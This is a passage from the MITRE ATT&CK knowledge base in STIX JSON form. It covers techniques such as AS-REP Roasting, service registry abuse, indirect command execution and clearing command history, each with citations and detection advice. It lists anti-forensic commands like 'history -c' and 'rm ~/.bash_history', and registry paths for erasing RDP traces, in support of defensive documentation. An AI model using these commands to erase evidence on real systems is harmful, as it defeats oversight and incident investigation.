extract TGTs or Service Tickets via lower-level APIs.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) ",
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                {
                    "source_name": "FreeDesktop Journal",
                    "description": "freedesktop.org. (n.d.). systemd-journald.service. Retrieved June 15, 2022.",
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                    "source_name": "Microsoft RDP Removal",
                    "description": "Microsoft. (2021, September 24). How to remove entries from the Remote Desktop Connection Computer box. Retrieved June 15, 2022.",
                    "url": "https://docs.microsoft.com/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer"
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                    "source_name": "Moran RDPieces",
                    "description": "Moran, B. (2020, November 18). Putting Together the RDPieces. Retrieved October 17, 2022.",
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                    "source_name": "Apple Culprit Access",
                    "description": "rjben. (2012, May 30). How do you find the culprit when unauthorized access to a computer is a problem?. Retrieved August 3, 2022.",
                    "url": "https://discussions.apple.com/thread/3991574"
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                {
                    "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                    "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                    "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
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            "description": "Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers</code>\n\nWindows may also store information about recent RDP connections in files such as <code>C:\\Users\\\\%username%\\Documents\\Default.rdp</code> and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.",
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                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
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                    "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.",
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                    "source_name": "SANS Attacking Kerberos Nov 2014",
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                    "url": "https://redsiege.com/kerberoast-slides"
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                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
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            "modified": "2025-04-15T19:58:23.309Z",
            "name": "AS-REP Roasting",
            "description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Yossi Nisani, Cymptom",
                "James Dunn, @jamdunnDFW, EY",
                "Swapnil Kumbhar",
                "Jacques Pluviose, @Jacqueswildy_IT",
                "Dan Nutting, @KerberToast"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Credential Request"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427",
            "created": "2017-05-31T21:30:49.119Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1058",
                    "external_id": "T1058"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/478.html",
                    "external_id": "CAPEC-478"
                },
                {
                    "source_name": "MSDN Registry Key Security",
                    "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx"
                },
                {
                    "source_name": "TrustedSignal Service Failure",
                    "description": "Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.",
                    "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"
                },
                {
                    "source_name": "Twitter Service Recovery Nov 2017",
                    "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
                    "url": "https://twitter.com/r0wdy_/status/936365549553991680"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:24.294Z",
            "name": "Service Registry Permissions Weakness",
            "description": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0",
            "created": "2020-10-01T00:55:17.771Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/003",
                    "external_id": "T1584.003"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "NSA NCSC Turla OilRig",
                    "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.",
                    "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:19:04.087Z",
            "name": "Virtual Private Server",
            "description": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content",
                "Internet Scan: Response Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5",
            "created": "2024-03-29T18:07:04.743Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/010",
                    "external_id": "T1059.010"
                },
                {
                    "source_name": "AutoHotKey",
                    "description": "AutoHotkey Foundation LLC. (n.d.). Using the Program. Retrieved March 29, 2024.",
                    "url": "https://www.autohotkey.com/docs/v1/Program.htm"
                },
                {
                    "source_name": "AutoIT",
                    "description": "AutoIT. (n.d.). Running Scripts. Retrieved March 29, 2024.",
                    "url": "https://www.autoitscript.com/autoit3/docs/intro/running.htm"
                },
                {
                    "source_name": "Splunk DarkGate",
                    "description": "Splunk Threat Research Team. (2024, January 17). Enter The Gates: An Analysis of the DarkGate AutoIt Loader. Retrieved March 29, 2024.",
                    "url": "https://www.splunk.com/en_us/blog/security/enter-the-gates-an-analysis-of-the-darkgate-autoit-loader.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:23.600Z",
            "name": "AutoHotKey & AutoIT",
            "description": "Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey)\n\nAdversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566) payloads.(Citation: Splunk DarkGate)\n\nThese scripts may also be compiled into self-contained executable payloads (`.exe`).(Citation: AutoIT)(Citation: AutoHotKey)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "TruKno",
                "Liran Ravich, CardinalOps",
                "Serhii Melnyk, Trustwave SpiderLabs",
                "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International",
                "@_montysecurity"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8",
            "created": "2020-10-19T19:03:48.310Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1600/001",
                    "external_id": "T1600.001"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:24.048Z",
            "name": "Reduce Key Space",
            "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a",
            "created": "2020-01-31T12:32:08.228Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/003",
                    "external_id": "T1070.003"
                },
                {
                    "source_name": "Broadcom ESXi Shell Audit",
                    "description": "Broadcom. (2025, February 20). Auditing ESXi Shell logins and commands. Retrieved March 26, 2025.",
                    "url": "https://knowledge.broadcom.com/external/article/321910/auditing-esxi-shell-logins-and-commands.html"
                },
                {
                    "source_name": "Sophos PowerShell command audit",
                    "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.",
                    "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"
                },
                {
                    "source_name": "Microsoft PowerShell Command History",
                    "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "Sophos PowerShell Command History Forensics",
                    "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.",
                    "url": "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:23.774Z",
            "name": "Clear Command History",
            "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.  \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>).(Citation: US-CERT-TA18-106A) On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.(Citation: Broadcom ESXi Shell Audit)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vikas Singh, Sophos",
                "Emile Kenning, Sophos",
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the removal/clearing of the <code>~/.bash_history</code> file can be an indicator of suspicious activity.\n\nMonitor for suspicious modifications or deletion of <code>ConsoleHost_history.txt</code> and use of the <code>Clear-History</code> command.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Deletion",
                "File: File Modification",
                "Command: Command Execution",
                "User Account: User Account Authentication"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1202",
                    "external_id": "T1202"
                },
                {
                    "source_name": "Bleeping Computer - Scriptrunner.exe",
                    "description": "Bill Toulas. (2023, January 4). Hackers abuse Windows error reporting tool to deploy malware. Retrieved July 8, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-abuse-windows-error-reporting-tool-to-deploy-malware/"
                },
                {
                    "source_name": "Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot",
                    "description": "Cyble. (2024, December 5). Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot. Retrieved February 4, 2025.",
                    "url": "https://cyble.com/blog/threat-actor-targets-manufacturing-industry-with-malware/"
                },
                {
                    "source_name": "Evi1cg Forfiles Nov 2017",
                    "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved September 12, 2024.",
                    "url": "https://x.com/Evi1cg/status/935027922397573120"
                },
                {
                    "source_name": "RSA Forfiles Aug 2017",
                    "description": "Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.",
                    "url": "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe"
                },
                {
                    "source_name": "Secure Team - Scriptrunner.exe",
                    "description": "Secure Team - Information Assurance. (2023, January 8). Windows Error Reporting Tool Abused to Load Malware. Retrieved July 8, 2024.",
                    "url": "https://secureteam.co.uk/2023/01/08/windows-error-reporting-tool-abused-to-load-malware/"
                },
                {
                    "source_name": "SS64",
                    "description": "SS64. (n.d.). ScriptRunner.exe. Retrieved July 8, 2024.",
                    "url": "https://ss64.com/nt/scriptrunner.html"
                },
                {
                    "source_name": "VectorSec ForFiles Aug 2017",
                    "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved September 12, 2024.",
                    "url": "https://x.com/vector_sec/status/896049052642533376"
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            "modified": "2025-04-15T19:58:23.859Z",
            "name": "Indirect Command Execution",
            "description": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (`pcalua.exe`), components of the Windows Subsystem for Linux (WSL), `Scriptrunner.exe`, as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts.(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citation: SS64)(Citation: Bleeping Computer - Scriptrunner.exe) Adversaries may also abuse the `ssh.exe` binary to execute malicious commands via the `ProxyCommand` and `LocalCommand` options, which can be invoked via the `-o` flag or by modifying the SSH config file.(Citation: Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.",
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward",
                "Liran Ravich, CardinalOps"
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            "x_mitre_detection": "Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.3",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
            "created": "2017-05-31T21:30:31.197Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1024",
                    "external_id": "T1024"
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                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf"
                },
                {
                    "source_name": "Fidelis DarkComet",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-04-25T15:15:24.943Z",
            "name": "Custom Cryptographic Protocol",
